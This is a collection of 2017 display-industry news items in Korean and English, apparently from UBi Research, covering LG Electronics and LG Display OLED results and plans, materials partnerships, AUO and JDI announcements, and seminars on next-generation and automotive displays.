In particular, sales of premium TV increased, and HE division posted record-high quarterly results with operating profit (KRW 458.0 billion) and operating margin (9.9%). In addition, operating profit (KRW 882.9 billion) and operating margin (9.2%) are the highest in the household appliances business including household appliances and TVs.

LG Electronics announced that its HE division posted sales of KRW 4.6376 trillion and operating profit of KRW458 billion, and sales of premium TVs such as OLED TVs and UltraHD TVs increased steadily, with 12.0% YoY growth. It is known that the operating profit and operating margin (9.9%) reached a record high on a quarterly basis due to improved profit structure by expanding sales of premium products.

LG Electronics said on Oct 11 that monthly sales of OLED TV have exceeded 10,000 units for the first time in Korea and that it is speeding up its popularization. LG OLED TV has been recognized for its image quality by being awarded the top spot in the performance evaluation conducted by non-profit consumer magazines in 11 countries including the US and UK this year and the price of the 55-inch OLED TV has dropped to the mid-2 million level, and It is regarded as the cause of goodness of its sales.

LG OLED TV accounted for about 30% of domestic TV sales of LG Electronics, and it is known to have completely settled in the market. LG Electronics official announced plans for the future, ” HE division plans to continue sales growth and stable profit structure focusing on premium products such as OLED TV and UltraHD TV.”

Premium TV 시장 주도하는 OLED TV, LG Electronics HE부분 최대 영업이익 이끌어

지난 26일 LG Electronics는 컨퍼런스콜을 통해 2017년 3분기 실적을 발표하였다. LG Electronics의 3분기 연결기준 매출액 15조 2,241억 원, 영업이익 5,161억 원을 기록했다. 매출액과 영업이익은 전년동기 대비 각각 15.1%, 82.2% 증가했다. 매출액은 역대 3분기 가운데 가장 많다.

특히 premium TV 판매가 늘면서 HE사업본부는 영업이익(4,580억 원)과 영업이익률(9.9%)에서 역대 분기 실적으로는 사상 최고치를 기록했다. 또한 생활가전, TV 등을 아우르는 전체 가전 사업 또한 역대 3분기 기준으로는 영업이익(8,829억 원)과 영업이익률(9.2%)이 가장 높다

LG Electronics는 HE사업본부의 매출액은 4조 6,376억 원, 영업이익은 4,580억 원으로서 매출액은 OLED TV와 UltraHD TV 등 premium TV 판매가 꾸준히 늘며 전년동기 대비 12.0% 증가했다고 밝혔다. 프리미엄 제품 판매 확대를 통한 수익구조 개선으로 영업이익과 영업이익률(9.9%)은 분기 기준 사상 최고치를 기록한 것으로 알려졌다.

LG Electronic는 지난 10월 11일 OLED TV가 국내에서 월 판매량 1만 대를 처음으로 넘어서며 대중화 속도를 높이고 있다고 언급한 바 있다. LG OLED TV는 올해 미국과 영국을 포함한 11개 국가의 비영리 소비자 매거진이 실시한 성능 평가에서 1위를 싹쓸이 할 만큼 화질을 인정받고 있으며 55형 OLED TV의 가격이 200만원 중반까지 낮아진 만큼 합리적인 가격도 판매 호조의 원인으로 손꼽히고 있다.

LG OLED TV는 LG Electronics 국내 TV 매출의 약 30%를 차지하며 시장에 완벽히 정착한 것으로 알려졌다. LG Electronics 관계자는 “HE사업본부는 OLED TV, UltraHD TV 등 프리미엄 제품을 중심으로 매출 성장과 안정적인 수익구조를 이어갈 계획”이라고 향후 계획을 밝혔다.

LG디스플레이, 2018년 OLED 매출 비중 2배로 확대

LG디스플레이는 25일 진행된 3분기 실적 컨퍼런스 콜을 통해 2018년까지 OLED 매출 비중을 10%에서 20%로, 2배 확대할 예정이라 밝혔다.

 

LG디스플레이 김상돈 전무는 ‘대형 OLED 생산 capa. 확대를 통해 OLED TV 출하량이 증가하고 있고, wallpaper와 CSO(crystal sound OLED) 등 프리미엄 신제품 등이 좋은 반응을 얻고 있다’며, ‘LCD TV와의 차별성이 인정되고 있다’고 설명했다.

 

이에 따라 ‘2017년 OLED TV 패널 출하량은 170만대로 예상하고 있다’며, ‘2018년에는 출하량이 250만~280만대, 2020년에는 650만대 이상이 될 것으로 기대하고 있다’고 말했다.

LG디스플레이는 ‘OLED 패널의 수익성을 확보하기 위해 경제적인 규모를 늘리고 있다’고 설명했다. 동시에 ‘재료비와 제반비를 줄이기 위해 중국에 OLED 패널 공장을 짓고, 효율적인 라인과 규모의 경제, eco system 확대 등을 통해 원가를 절감할 것’이라 덧붙였다.

2017년 4분기 출하 면적은 ‘연말 및 내년 춘절 등 성수기 대응 영향에 힘입어 한자리 수 중반 증가하고, 판가는 제품별, 사이즈별 수급 상황에 따라 차이는 있겠지만 전반적으로 하락할 것으로 예상되나 하락세는 점차 둔화될 것’이라 전망했다.
모바일용 디스플레이에 대해서는 현재 ‘LCD에서 POLED로의 전환되고 있다’며, ‘LCD패널의 매출이 전체 매출의 30%를 차지하고 있으나, 2019년 투자가 완료되는 시점에서 매출이 본격적으로 이루어질 것’이라 설명했다.

 

이어 ‘LG디스플레이는 장기적 미래 준비 계획으로 향후 OLED 중심의 투자를 진행할 예정인 가운데, 어려운 시장 환경이 지속될 수 있다는 보수적인 기조 하에 LCD 차별화 제품 위주의 수익성 극대화 및 OLED 사업 확대를 통한 수익성 개선 노력을 지속하겠다’고 덧붙였다.

 

한편, LG디스플레이는 판가 하락세 지속에도 불구하고 2017년 3분기 기준 매출 6조 9,731억원, 영업이익 5,860억원으로 22분기 연속 영업이익 흑자를 달성했다. 매출은 OLED TV 제품 확대 등 프리미엄 제품 강화 및 계절적 성수기에 따른 중소형 모바일 제품 출하 증가 영향으로 전분기 6조 6,289억원 대비 5%, 전년 동기 6조 7,238억원 대비 4% 증가했다.
2017년 3분기 매출액 기준 제품별 판매 비중은 TV용 패널이 40%, 모바일용 패널이 27%, 노트북 및 태블릿용 패널이 17%, 모니터용 패널이 16%를 차지한 것으로 나타났다.

Idemitsu Kosan과 Toray, 새로운 OLED 재료 공동 개발을 위한 기술 협력 협약 체결

2017년 9월 26일, OLED 발광 재료 전문 업체인 Idemitsu Kosan과 Toray가 OLED 재료를 공동 개발하기 위한 새로운 기술 협력 협약을 체결했다.

Toray와 Idemitsu Kosan은 양사의 OLED 재료와 전문 기술 등을 상호 활용하여 새로운 재료의 개발과 평가에 협조 할 것으로 알려졌다. 두 회사는 공동으로 평가 시설과 생산 시설을 사용할 예정으로써, 이번 기술 협력 협약이 OLED 소재 개발을 가속화하고 저비용 생산을 가능하게 하기를 희망한다고 밝혔다.

Idemitsu Kosan은 OLED emitter 재료와 홀 수송 재료를 주력으로 개발하고 있으며 Toray는 독점적인 분자 디자인 기술을 기반으로 전자 수송 재료를 중점적으로 개발하고 있다.

한편 UBi Research에 따르면, OLED 모바일 기기와 TV에서 한국과 중국의 적극적인 투자에 따라 2017년 발광재료 시장은 9.6억달러 규모를 형성하고 2021년 발광재료 시장은 33.6억달러 규모로 확대 될 것으로 전망했다.

Idemitsu Kosan과 Toray 양사의 이번 기술 협력 협약이 OLED 디스플레이 산업의 발전과 더욱 향상 된 OLED 재료의 상업화에 기여할 수 있을지 귀추가 주목되고 있다.

Idemitsu Kosan and Toray, Signed on technical cooperation agreement for joint development of new OLED materials

 

On September 26, 2017, Idemitsu Kosan and Toray, specializing in OLED light emitting materials, signed on a new technology cooperation agreement to jointly develop OLED materials.

Toray and Idemitsu Kosan are expected to collaborate on the development and evaluation of new materials through the mutual use of OLED materials and expertise from both companies. The two companies will jointly use evaluation facilities and production facilities, and said they hope this technical cooperation agreement will accelerate the development of OLED materials and enable low-cost production.

Idemitsu Kosan is developing OLED emitter materials and hole transport materials and Toray is focusing on electron transport materials based on proprietary molecular design technology.

According to UBi Research, upon the active investment of Korea and China in OLED mobile devices and TVs, the light emitting material market is expected to reach $ 960 million in 2017 and $ 33.6 billion in 2021.

It is expected whether this technical cooperation agreement between Idemitsu Kosan and Toray could contribute to the development of the OLED display industry and the commercialization of more advanced OLED materials.

AUO unveils round OLED and foldable OLED for the smart watch in Touch Taiwan 2017.

AUO showed the OLED that can be collapsible and three kinds of round OLEDs (1.2-inch, 1.3-inch, 1.4-inch) for the smart watch in Touch Taiwan 2017 held on 20th.

The round OLEDs in 1.2-inch and 1.4-inch of AUO are 326ppi, and it lowers an electric consumption at 30% versus former production goods. AUO also improves the visibility capacity in outdoor by embedding the brightness increase mode to make a display screen of two kinds of round OLEDs be clear even under bright sunlight.

The 1.3-inch OLED aimed at the smart watch for kids is light in weight, and strengthens the usability with a power saving mode and an intuitive touch interface function.

AUO displays two types of 5-inch flexible OLEDs that can be rolled or folded. Such two types of 5-inch flexible OLEDs apply the plastic board and AUO self-developed structure (special structural layer).

 

<AUO, 5 inch foldable OLED touch panel>

 

The 5-inch foldable OLED combines a flexible touch screen sensor that is developed by AUO itself.  The company said “it would provide excellent image quality, even if the curvature radius of the folded part is 4mm and less”.

For 5-inch rollable OLED, they explained “The thickness of the panel is just 0.1mm and only 5g. This model with the rolling radius of 4mm will provide wide color gamut”.

In last SID 2017, AUO has announced about that they applied the structure locating the TFT (Thin Film Transistor) and TFE (Thin Film Encapsulation) at the neutral axis to stand the compression stress or tensions during being folded.

UBi Research, Lee Choong-Hoon, CEO, announce OLED market and forecast

Mr. Choong-Hoon Lee, the CEO of UBi Research, OLED specialist presented the market trend and prospects of the OLED industry following last year at the Japan Conference, host by Merrill Lynch Japan Securities, from 5th to 7th of September in Tokyo, Japan. The annual conference was held for Merrill Lynch Securities customers, consisting of a forum-type presentation on major industry trends in Japan and small meetings with presenters.

The fact that Mr. Lee, the CEO of UBi Research was invited to the event indicates the importance of the display market, not just in the IT industry but also in the global market industry. Among investors in recent years, display is in the spotlight at as an emerging industry and participants have shown their interest in the latest OLED technology trend as well as current and future production scale of OLED panel manufacturers.

Mr. Lee was also had an interview with Nikkei Business Publication regarding “Global OLED Market Trend and Forecast” during the conference. The main interview question is focused on “OLED industry trend and future OLED TV market development”. According to Naoki Tanaka, editor of Ronny Keikyo Newspaper, Japanese electronics industry is expecting to revive the old glory of display industry, showing its interest in the OLED industry and OLED TV.

In the interview, Mr. Lee stressed, referring to the market data in the UBi Research OLED display report, that Japanese display manufacturers who still believe perpetuation of LCD need more reliable OLED market analysis.

In addition, he said that through the exhibition trend of OLED TV at 2017 IFA held in Berlin, Germany it is worthwhile paying continuous attention to the premium OLED TV market in the future. At the end of the interview, he emphasized how important OLED production by Japanese panel manufacturers would be to Japan’s entire display and set industry.

UBi Research publishes a monthly report on a variety of topics of OLED industry, market, and technology trend, and draws more and more attention along with the recent OLED market expansion. For more information, please contact UBi Research (info@ubiresearch.com); useful sample reports and information are provided.

유비리서치, 이충훈 대표 OLED 시장과 전망에 대해 발표

OLED 전문 글로벌 리서치 기관 유비리서치 이충훈 대표는 9월 5일부터 7일까지 일본 동경에서 일본 메릴린치 증권사의 주관으로 개최된 Japan Conference에서 작년에 이어 OLED 산업을 대표하여 시장동향과 전망에 대해 발표하였다. 매년 개최되는 본 컨퍼런스는 메릴린치 증권사의 고객을 대상으로 일본의 주요 산업의 동향에 대해 포럼형식의 발표와 발표자들과의 소규모 미팅들로 구성된다.

유비리서치 이충훈 대표가 초청 받은 것은 IT 산업에서 뿐만 아니라 전체 산업에서 디스플레이 시장의 중요성을 보여주고 있다. 최근 투자자들 사이에서 디스플레이는 관심산업으로 조명 받고 있으며 참석자들은 최근 OLED 기술 동향과 OLED 패널 회사들의 현재와 미래 생산규모에 대한 궁금증을 보였다.

유비리서치 이충훈 대표는 같은 기간 니케이 경제 신문 (Nikkei Business Publication)과 “글로벌 OLED 시장 동향과 전망”에 관해 인터뷰를 진행하였다. 주요질문은 “OLED 산업동향과 앞으로 OLED TV 시장의 전개” 로 니케이 경제 신문의 에디터 나오키 타나카 (Naoki Tanaka)에 따르면 현재 일본 전자 산업은 예전의 디스플레이 산업의 부흥을 기대하여 OLED산업과 OLED TV에 많은 관심을 보이고 있다.

인터뷰를 통해 이충훈 대표는 유비리서치 OLED 디스플레이 보고서에 수록된 시장 자료를 바탕으로 OLED 시장 전망에 대한 의견을 피력하였으며 아직까지도 LCD가 영원할 것으로 믿는 일본 디스플레이 관련 기업에 대하여 보다 신뢰성 있는 OLED 시장 분석 정보의 필요성을 강조하였다.

또한 최근 참석한 독일 베를린에서 개최된 2017 IFA의 OLED TV 전시동향 공유를 통해 앞으로 OLED TV가 이끌어갈 프리미엄 시장을 계속적으로 주목해 볼만 하다고 전하였다. 인터뷰 말미에서 일본 전체 디스플레이와 세트 산업에 일본 패널 업체들의 OLED 패널 생산이 가지는 중요성에 대하여 강조하며 인터뷰를 마쳤다.

유비리서치는 매달 다양한 주제로 OLED 산업과 시장, 기술 동향에 대한 보고서를 발간하고 있으며 최근 OLED 시장의 확대와 함께 더욱 주목받고 있다. 보다 자세한 내용은 유비리서치(info@ubiresearch.com)으로 문의하면 다양한 보고서 샘플과 정보 서비스에 대한 설명을 받을 수 있다.

[iMiD 2017] You Dream, We OLED

 

LG Display의 OLED시장에서의 영역 확대가 본격적으로 시작되고 있다.

29일부터 부산에서 개최중인 IMID 2017의 keynote session에서 LG Display의 강인병 CTO는 ”OLED가 미래의 디스플레이 산업을 이끌어 나갈 강력한 후보”라며 LG Display의 future plan을 제시하였다.

강인병 CTO는 대면적 OLED는 2020년까지 현재의 7배로 생산 capa를 증가시켜 LCD와의 cost cap을 줄이고 wall paper와 sound integration, rollable, transparent flexible등의 기술력을 바탕으로 지속적으로 시장을 리딩할 것이라고 밝혔다. LG Display는 최근 중국에 Gen8.5 투자를 진행하였으며 향후 파주 P10 공장에 Gen10.5 OLED 양산라인 투자를 할 것으로 기대되고 있다.

반면 중소형 OLED에서는 plastic OLED를 바탕으로 fast follower전략을 구사할 것으로 발표했다. LG Display는 LG전자의 차기 스마트폰인 V30에 적용될 plastic OLED panel을 양산 중에 있으며, 구미의 E5라인에서 본격적인 양산을 앞두고 있다.또한 추가적인 Gen6 라인에 10조원을 투자할 예정으로 2020년 까지 현재 capa의 13배를 늘릴 수 있을 것으로 기대된다.

이처럼 공격적인 OLED 투자를 바탕으로 LG Display는 대면적 OLED와 중소형 OLED에서 현재 5%에 불과한 OLED 매출액 비중을 2020년에 40%까지 끌어올리겠다는 전략이다.

현재 대면적 OLED는 지속적인 capa증가와 수율 확보가 된 상황으로 LG전자뿐만 아니라 SONY, Philips, Panasonic등 진영을 확대해나가고 있는 추세로 프리미엄 TV 시장을 장악하고 있어 앞으로의 LG Display의 매출액 확대가 유력한 상황이다. 중소형 OLED에서의 양산 성공 여부가 LG Display가 제시한 계획의 달성 여부가 결정될 전망이다.

 

[iMiD 2017] You Dream, We OLED

 

LG Display is expanding in earnest in OLED market.

In the keynote session of IMID 2017 held in Busan on 29th, LG Display’s CTO Kang In-byeong pointed out the future plan of LG Display as “OLED is a strong candidate to lead the future display industry”.

Kang In-byeong, CTO, said that by 2020, large-area OLED will increase its production capacity by 7 times to 2020, thereby reducing the cost cap with LCD and leading the market on the basis of technology such as wall paper, sound integration, rollable and transparent flexible. LG Display recently invested in Gen8.5 in China and is expected to invest in Gen10.5 OLED mass production line at Paju P10 plant.

On the other hand, for small and medium-sized OLEDs, they have announced that they will use a fast follower strategy based on plastic OLED. LG Display is in mass production of plastic OLED panel to be applied for LG Display’s next smartphone, V30, next smartphone, and is ready for the mass production in the E5 line of Gumi. In addition, they plan to invest 10trn won additionally to Gen6 line, which is expected to increase 13 times the current capacity by 2020.

Based on this aggressive OLED investment, LG Display plans to raise its portion of OLED sales up to 40% in 2020 from current 5% in large-area OLEDs and small- and medium-sized OLEDs.

Currently, large-area OLEDs continue to increase capacity and yield and LG Display is likely to expand sales in the future, as it is dominating the premium TV market as it is expanding the camps of Sony, Philips and Panasonic as well as LG Electronics. The success of mass production in small- and mid-sized OLEDs will determine whether or not LG Display plans to achieve its plan.

JDI announces restructuring plan including 30% labor reduction and OLED business transformation

 

Japanese display panel maker JDI (Japan display) announced a restructuring proposal on July 9 that includes the reduction manpower about 3,700 jobs in 30% of group employees and securing external fund. According to the Nippon Keizai and Yomiuri newspapers report, JDI will reduce about 3,500 people, mainly assembly plants in China and the Philippines and about 200 people from their own country as well as decided to suspend operation of Nomi factory this year which LCD production plant located in Ishikawa. It is said, Nomi plant will be used as an OLED production base.

JDI, which was launched in 2012 through the integration of Hitachi, Toshiba and Sony’s liquid crystal business, is reportedly suffering from deteriorating performance due to business depression of LCD and OLED business transition in recent years. So, the company carried out structural reforms for the first time in five years and the LCD panel production line will be reviewed to cover a loss of 150 billion yen in the fiscal year ending March 2018, foreign sources said.

 

In addition, it is reported that JDI will receive a loan of 110 billion yen from the main bank, which is guaranteed by the Industrial Development Organization, the largest shareholder and private-equity fund of JDI. Three major banks, including Mizuho Bank, Sumitomo Mitsui Banking Group and Sumitomo Mitsui Trust, are planning to support new granting of credit, the Nihon Keizai newspaper reported.

 

Accordingly, JDI’s conversion of OLED business is expected to accelerate. “There is no future without OLED,” said Higashii Riki, chairman of JDI. “We will increase the cost of R & D in this sector.”

 

JDI highlighted the advantages such as brightness and contrast ration of OLED which has exhibited 5.2 inch FHD flexible OLED with RGB structure at SID 2016 and FULL ACTIVE ™ FLEX OLED with 5.5 inch FHD and LCD were compared at SID 2017.

 

<JDI’s FULL ACTIVE ™ FLEX OLED and LCD comparison>

 

In addition, it is known to be in mess production testing and carried in Gen6 OLED evaporators in the first quarter of 2017. It is worth of notice whether JDI can overcome the current crisis with structural reform and OLED business transformation.

What is the next-generation display poised to outshine OLED?

The micro LED, QLED and hologram, which are referred to as the next generation displays, were presented at the seminar entitled ‘Recent Trends in Display and Vehicle Display Technology’ hosted by UBI Research on the 14th.

Under the theme ‘Technical Issues of micro LED Display and Market Trend’, professor Moon Dae-gyu of Soonchunhyang University said, “Micro LED can be realized in high resolution and it is easy to implement curved display or flexible display because there is no limit of panel shape and size” He added “When applying micro LED to a display, high resolution is feasible even on a small substrate size, so that it can be applied to VR, etc.” and expected “When applied to a public display, it will be able to escape from the method of tiling many display panels”. However, there remain some technical problems such as the problem of transferring and connecting millions of LED chips quickly and accurately, the deviation problem of color and luminous efficiency between LED chips, and the technical problem of implementing an active matrix for the application of a display.

 

<Professor Moon Dae-gyu of Soonchunhyang University>

 

Next, Dr. Hwang Do-Kyung of Korea Institute of Science and Technology(KIST), Dr. Bae Wan-ki, senior researcher of KIST, and Dr. Oh Min-Suk of Korea Electronics Technology Institute(KETI) announced the manufacturing principle of quantum dot and the possibility of self-emitting QLED using it. Dr. Hwang said, “The quantum dot has the advantage of not only color change depending on the size and but also narrow half width.” “Self-emitting QLED can display higher color purity than OLED.” he added.

Dr. Bae expected “If research is carried out on an enterprise scale, the speed of technology development will increase more rapidly.” saying that “At present, the efficiency of quantum dot devices is continuously improving, but the life span is insufficient compared to OLED.”

“We need the next generation display technology to follow the LCD and OLED,” said Dr. Oh Min-Seok of Korea Electronics Technology Institute(KETI). He added “QLED is attracting much attention as a next-generation display, but there remain such issues as too much focus on the development of emitting devices, the lack of solution process-related devices and technologies, and the non-cadmium-based high-efficiency blue light emitting devices”.

 

<Dr. Oh Min-Seok of Korea Electronics Technology Institute(KETI)>

 

As the last speaker, Kang, Hoon-Jong, team leader of Korea Electronics Technology Institute(KETI) explained the digital hologram technology and its application, and emphasized that a display panel capable of expressing the hologram is necessary to implement it. He said “We have a holographic printer or a microscope but there is no enough technology to apply it to TV”. Then, he closed his presentation saying “We need to develop a film for hologram first and then a functional design that can implement the screen.”

During the presentation about the next generation display, many of the speakers emphasized the importance of cooperation and participation among schools, research institutes and companies in order to overcome technical problems and realize them as actual displays. The display competition is expected to become even more intense in the future, as R&D in micro OLED, QLED, and hologram, which are considered as the next generation display, is concentrated

OLED와 경쟁할 차세대 디스플레이는?

지난 14일 열린 유비리서치 주관 ‘최신 디스플레이 및 차량용 디스플레이 기술 동향’ 세미나에서 차세대 디스플레이로 언급되고 있는 micro LED와 QLED, hologram 등의 발표가 진행됐다.

순천향대학교의 문대규 교수는 ‘마이크로 LED 디스플레이의 기술 이슈와 시장 현황’을 주제로 하여 “micro LED는 고해상도 구현이 가능하고 패널의 모양과 사이즈의 제한이 없어 curved display나 flexible display 구현이 용이하다”라고 언급했다. 또한 “micro LED를 디스플레이에 적용 시 작은 기판 사이즈에서도 고해상도 구현이 가능하여 VR 등에 적용이 가능하다”며, “public display에 적용 시 기존에 다수의 디스플레이 패널을 타일링 하던 방식에서 벗어날 수 있을 것”으로 전망했다. 다만, 수백만개의 LED chip을 빠르고 정확하게 이송하여 접합하는 문제와 LED chip간의 색과 광 효율 편차 문제, 디스플레이 적용 시 active matrix 구현 문제 등의 기술적 문제가 남아있다고 밝혔다.

<순천향대학교 문대규 교수>

이어서 황도경 한국과학기술연구원 박사와 배완기 한국과학기술연구원 선임연구원, 오민석 전자부품연구원 박사는 quantum dot의 제조 원리와 이를 이용한 자발광 QLED의 가능성을 발표했다. 황도경 박사는 “quantum dot은 크기에 따라 색 변형이 자유롭고 반치폭이 좁다는 장점이 있다”며, “자발광 QLED는 OLED에 비해 색순도가 높은 디스플레이 구현이 가능하다”고 언급했다.

배완기 선임연구원은 “현재 quantum dot 소자의 효율은 지속적으로 향상이 되고 있으나 수명은 OLED 대비 부족한 실정이다”라며, “기업 규모로 연구가 진행 되면 기술의 발전 속도가 더 빠르게 증가 할 것”으로 전망했다.

오민석 전자부품연구원 박사는 “LCD와 OLED의 뒤를 이을 차세대 디스플레이 기술이 필요하다”며 “현재 QLED가 차세대 디스플레이로 많은 관심을 받고 있지만, 발광소재 개발에만 집중하는 문제와 용액 공정 관련 소재와 기술 부족, 비 카드뮴계 고효율 블루 발광 소재 개발 등의 이슈가 있다”고 언급했다.

<오민석 전자부품연구원 박사>

마지막 순서로 강훈종 전자부품연구원 팀장이 digital hologram 기술과 응용 방안을 설명하며 hologram을 구현하기 위해서는 이를 표현할 수 있는 디스플레이 패널이 반드시 필요하다고 강조했다. 또한, “현재 홀로그래픽 프린터나 현미경이 있지만 TV에 적용하기에는 아직 기술이 부족하다”며 “hologram용 film을 먼저 개발하고 그 후 화면을 구현할 수 있는 functional 설계가 필요하다”고 발표를 마쳤다.

차세대 디스플레이 발표가 진행 되는 동안 다수의 연사자들은 기술적인 문제 극복과 실제 디스플레이로 구현하기 위해 학교와 연구소, 기업들 간의 협동과 참여가 중요하다고 강조했다. 대표적인 차세대 디스플레이로 언급되는 Micro OLED와 QLED, hologram의 연구 개발이 집중되면서 앞으로 시장 선점을 위한 디스플레이 경쟁이 더욱 더 치열해질 전망이다.

최적의 자동차용 디스플레이는 OLED

지난 7월 14일 서울 코엑스에서 유비리서치 주최 ‘최신 디스플레이 및 차량용 디스플레이 기술 동향’을 주제로 차세대 디스플레이 최신 기술 현황 분석 세미나가 개최됐다.

 

 

이 세미나에서 자동차부품연구원의 박선홍 선임연구원은 “시각적 정보 제공의 중요성으로 인해 디스플레이의 관심이 높아지고 있다”며 “OLED는 유연한 설계가 가능하고 투명 디스플레이 구현이 용이하기 때문에 채용이 점차 증가할 것”이라 전망했다.

또한, 자동차의 디지털화가 계속 진행 될 것이라 언급하며 “특히 중국이 2020년 전세계 자동차 소비 시장의 50% 이상을 차지 할 것으로 예상되고 화려한 디자인을 선호하는 중국인의 특성 상 OLED를 포함한 디스플레이 채용이 증가할 것”으로 전망했다.

최근 이슈가 된 사이드미러 없는 자동차를 소개하며 “응답속도가 빠르고 시야각이 넓은 OLED가 채용 가능성이 높다. 신뢰성만 극복한다면 OLED는 최적의 자동차용 디스플레이가 될 것”이라 언급했다.

한편, 유비리서치에서 발간한 “Automotive Display Report – application & market trend analysis and the market forecast”에 따르면, OLED panel은 2018년부터 자동차의 cluster나 CID에 본격적으로 적용될 수 있을 것으로 예상했으며, 자동차용 display 시장은 연평균 약 17%로 성장하여 2022년까지 약 US$ 25,000 million의 규모가 될 것으로 내다봤으며, 이 중 AMOLED panel 시장은 약 20%를 차지할 것으로 전망했다.

 

<Automotive display 시장 디스플레이별 점유율 전망 2017~2022>

The OLED is the best automotive display

The seminar on the trend of the up-to-date technology for the next generation display which was themed ‘The technology trend for latest display and the automotive display’ hosted by the UBI Research, was held on July 14th at COEX in Seoul.

 

 

In the seminar, Sun-hong, Park, a senior researcher of automotive parts, said that “The attention to the display is increasing due to the importance of the visual intelligence, and its application will also grow because the OLED is able to easily realize the flexible deign and the transparent display.”

In addition, he expected that “The digitalization for the automotive will be lasting, and the China will take 50% and more of the worldwide consumption market for automotive in 2020, and the application of display including OLED will increase in accordance with the attributes of the Chinese who prefer colorful design.”

During the briefing of a car not having a side mirror which became an issue in recent, “The application of the OLED which has rapid response speed and wide viewing angle is highly likely to be employed. If it can just overcome the reliability, the OLED will be the best display for the automotive.”

In the other side, according to the “Automotive Display Report – application & market trend analysis and the market forecast” published by the UBI Research, it expected the OLED panel will be started in earnest applying to the cluster or CID of the automotive from 2018, and the automotive display is expected to grow about 17% annually, reaching around US$ 25,000 million by 2022. The AMOLED panel market among this will be account for about 20%.

 

 

<Forecasting of the market share by the automotive display 2017~2022>

2017년 9월 7일 독일 프랑크푸르트에서 국제 TADF 심포지엄 개최

TADF(Thermally Activated Delayed Fluorescence) 기술은 OLED에 매우 효율적이고 안정적인 emitter 재료를 제공하는 새로운 기술로 알려져 있다. TADF emitter는 OLED 산업의 차세대 재료 발전에 기여하고 더 많은 OLED application을 창출할 수 있을 것으로 기대를 모으고 있다. 현재 TADF는 OLED를 개선할 수 있는 주요 기술로 많은 주목을 받고 있으며, 이러한 TADF 기술의 중요성과 차세대 OLED에서의 TADF 영향력은 독일 프랑크푸르트 국제 TADF 심포지엄에서 강조 될 예정이다. (www.tadf-symposium.com)

 

 

IFA 컨퍼런스 직후, 유럽과 한국 대학의 세계 유수 연구원들이 TADF OLED 소재의 개발과 관련 된 모델링부터 분석, 소자 제작에 이르기까지 다양한 측면에서 논의 할 예정이다. 또한, OLED의 선도적인 제조업체인 LG와 Samsung은 OLED 산업의 견해와 고효율 TADF가 어떠한 영향을 미칠 것인지를 발표할 예정이다. 이어서 대표적인 TADF 재료 공급 업체인 CYNORA는 최초의 blue TADF emitter의 상업화 진행 상황과 최종 단계들을 공개 할 예정이다.

국제 TADF 심포지엄은 9월 7일 독일 프랑크푸르트에서 개최되며 등록은 8월 15일 까지 가능하다.

LG and Samsung at the International TADF Symposium in Germany

TADF (Thermally Activated Delayed Fluorescence) is an exciting new technology to provide highly efficient and stable emitting materials for OLED devices. TADF emitters are poised to contribute to the next material-driven advancement of the OLED industry, making OLEDs ideal for even more applications. Right now, TADF technology is receiving much attention as it will lead to major improvement of OLED displays again. The importance of TADF technology and its impact of the Next-Generation OLEDs will be highlighted at the International TADF Symposium in Frankfurt, Germany. (www.tadf-symposium.com)

 

 

Directly after the well-known IFA conference, the world’s leading researchers from European and Korean universities will discuss aspects related to the development of TADF OLED materials from modelling through synthesis to analytics and device fabrication. In addition, the leading OLED manufactures LG and Samsung will reveal some of their views on the OLED industry and what impact high-efficiency TADF materials will have on it. Furthermore, CYNORA, the leading TADF materials provider, will present an update of its status and its finals steps in commercialization of first blue TADF emitters.

The registration for the International TADF Symposium will be open till 15th August. The TADF event is sponsored by Lesker Tool, Schrödinger and CYNORA.

Meet the leading experts from OLED industry and academia on September 7th in Frankfurt, Germany.

OLED TV는 화질 뿐만 아니라 디자인과 음질 등 전영역을 아우르는 차별화 된 TV

“기존의 OLED TV가 화질 중심으로 진행 됐다면 현재의 OLED TV는 화질 뿐만 아니라 디자인과 음질 등 전 영역을 아우르는 TV다.”

지난 5일 강원도 횡성에서 열린 ‘제 12회 디스플레이 국가연구개발사업 총괄 워크샵’ 기조 연설에서 LG Display의 윤수영 상무는 명암과 색 표현력을 포함한 우수한 화질과 자유로운 디자인 설계, 음질 항샹 등 OLED TV의 장점을 소개하였다.

 

 

윤수영 상무는 “LCD와 다르게 OLED는 자발광으로 픽셀 단위로 제어가 가능해 완전한 black을 표현하고 무한대의 명암비를 구현할 수 있어 표현의 범위가 넓다”며, “밤하늘의 별이나 밝은 달을 표현하는 최적의 디스플레이는 OLED”라고 언급하였다. 또한 “OLED TV는 정확한 색 표현력으로 중간 계조 표현이 자유로워 실제와 같은 생생한 컬러를 구현할 있다”고 OLED TV의 우수한 화질을 강조했다.

이어서 지난 CES 2017에서 많은 관심을 끌었던 wall paper와 CSO(crystal sound OLED)를 소개하며 “기존의 OLED TV가 화질 중심의 TV였다면 현재의 OLED TV는 화질 뿐만 아니라 디자인과 음질 등 전 영역을 아우르는 TV다”라고 밝혔다. 특히 스피커를 내장하는 방식은 “디자인 개선의 효과와 더불어 입의 위치와 사운드의 위치를 일치시켜 몰입감 있는 화면 구현이 가능하다”고 강조했다.

또한 윤수영 상무는 상용화를 목적으로 개발 된 77 inch UHD 해상도, 투과율 40%, 곡률반경 80R을 구현하는 투명 flexible OLED를 소개하며 투명 디스플레이와 flexible 디스플레이가 미래의 디스플레이가 될 것임을 언급하였다. 더불어 solution process용 장비와 재료를 개발하고 있으며, 새로운 형태의 application과 form factor 발굴이 필요하다고 밝혔다

마지막으로 파주의 P10 공장을 언급하며 “올해 말 완공이 예상되는 P10은 많은 준비를 해서 궁극적으로 새로운 OLED TV를 생산할 수 있을 것”으로 기대했다.

 

 

 

OLED TV is the competitive TV covering the whole areas such as the design and the sound quality as well as the image quality.

“While the existing OLED TV is focused on the image quality, the current OLED TV is not only picture quality but also covering any areas including the design and the sound quality.”

In the keynote address for the workshop of ‘the 12th Display National R&D Projects’ held on 5 July in Hoengseong, Gangwon-do, Soo-young, Yoon, a director of LG Display, introduced the advantages of OLED TV such as superior image quality, design freedom, and sound quality improvement including the capacity of the light and shade, and color implementation.

 

 

He said, “It is unlike LCD, OLED is the self-emitting, and be able to be controlled by a pixel unit, so that it is capable of expressing the perfect black, and implementing the unlimited contrast range. Therefore, OLED is the best display to express the stars or a bright moon in the darkness.” And also, he emphasized that “OLED TV is free to express the middle gradation through the precise color expressiveness, so that it is able to realize the vivid color as realistic.”

 

